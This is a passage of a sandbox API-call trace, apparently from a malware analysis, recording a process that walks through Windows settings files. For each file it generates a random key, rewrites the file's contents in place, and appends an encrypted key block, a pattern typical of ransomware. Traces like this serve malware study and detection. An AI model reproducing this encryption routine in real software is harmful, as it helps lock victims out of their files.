(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{2B6FE85A-C7AA-440F-B9A3-3F5EDCA3F6C2}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.729] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3b1, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3b1, lpOverlapped=0x0) returned 1 [0195.730] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-945, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.730] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3b1, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3b1, lpOverlapped=0x0) returned 1 [0195.731] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3b1 [0195.731] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.731] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.731] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.731] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.732] CloseHandle (hObject=0x1c24) returned 1 [0195.737] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0195.738] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.738] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{29B87534-19A8-4A39-AA81-2148E7DE5894}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.738] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x4be, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4be, lpOverlapped=0x0) returned 1 [0195.742] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1214, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.742] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4be, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4be, lpOverlapped=0x0) returned 1 [0195.743] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4be [0195.743] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.743] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.743] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.744] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.744] CloseHandle (hObject=0x1c24) returned 1 [0195.746] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0195.746] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0195.746] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{232A1851-808C-4B44-A92A-38E862989CE5}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.747] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x491, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x491, lpOverlapped=0x0) returned 1 [0195.748] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1169, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.748] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x491, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x491, lpOverlapped=0x0) returned 1 [0195.748] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x491 [0195.749] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.749] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.749] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.749] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.749] CloseHandle (hObject=0x1c24) returned 1 [0195.751] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0195.751] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0195.751] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{21A5437E-D266-4F56-A146-06744A8BC071}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.752] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x490, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x490, lpOverlapped=0x0) returned 1 [0195.753] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1168, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.753] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x490, lpOverlapped=0x0) returned 1 [0195.754] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x490 [0195.754] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.754] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.754] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.755] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.755] CloseHandle (hObject=0x1c24) returned 1 [0195.757] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0195.757] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0195.757] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{207D6BD2-A09B-406f-8A72-BC90C49FC152}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.758] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x5e8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x5e8, lpOverlapped=0x0) returned 1 [0195.759] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1512, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.759] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x5e8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5e8, lpOverlapped=0x0) returned 1 [0195.759] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5e8 [0195.759] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.759] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.760] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.760] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.760] CloseHandle (hObject=0x1c24) returned 1 [0195.762] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0195.762] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0195.762] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{201CEF4B-7444-4B2F-B885-5E8F0AA1D614}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.762] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x4b6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4b6, lpOverlapped=0x0) returned 1 [0195.764] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1206, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.764] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4b6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4b6, lpOverlapped=0x0) returned 1 [0195.764] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4b6 [0195.764] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.764] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.764] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.765] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.765] CloseHandle (hObject=0x1c24) returned 1 [0195.770] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0195.770] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0195.770] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{1DD03EE3-FC46-456A-8632-B0717A9D497D}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.771] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x4e1, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4e1, lpOverlapped=0x0) returned 1 [0195.772] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1249, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.772] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4e1, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4e1, lpOverlapped=0x0) returned 1 [0195.773] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4e1 [0195.773] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.773] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.773] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.773] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.773] CloseHandle (hObject=0x1c24) returned 1 [0195.775] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0195.775] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0195.775] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{1BDB99DF-3832-49D6-9AE0-52105DB568DA}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.775] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3ca, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3ca, lpOverlapped=0x0) returned 1 [0195.777] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.777] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3ca, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3ca, lpOverlapped=0x0) returned 1 [0195.777] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3ca [0195.777] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.777] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.778] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.778] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.778] CloseHandle (hObject=0x1c24) returned 1 [0195.780] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0195.780] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.780] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{1A5712E4-AAD7-4717-B22A-CF0B8438E2E6}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.780] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3df, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3df, lpOverlapped=0x0) returned 1 [0195.781] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-991, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.781] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3df, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3df, lpOverlapped=0x0) returned 1 [0195.782] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3df [0195.782] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.782] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.782] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.782] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.783] CloseHandle (hObject=0x1c24) returned 1 [0195.784] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0195.784] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0195.784] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{1a4635ec-181d-45ae-b691-bc75bec02756}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.784] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x382, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x382, lpOverlapped=0x0) returned 1 [0195.786] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-898, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.786] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x382, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x382, lpOverlapped=0x0) returned 1 [0195.786] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x382 [0195.786] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.786] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.786] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.787] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.787] CloseHandle (hObject=0x1c24) returned 1 [0195.789] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0195.789] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.789] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{1928DA28-C5A7-4F13-AF81-8238D57A793F}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.789] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x4d0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4d0, lpOverlapped=0x0) returned 1 [0195.790] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.790] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, 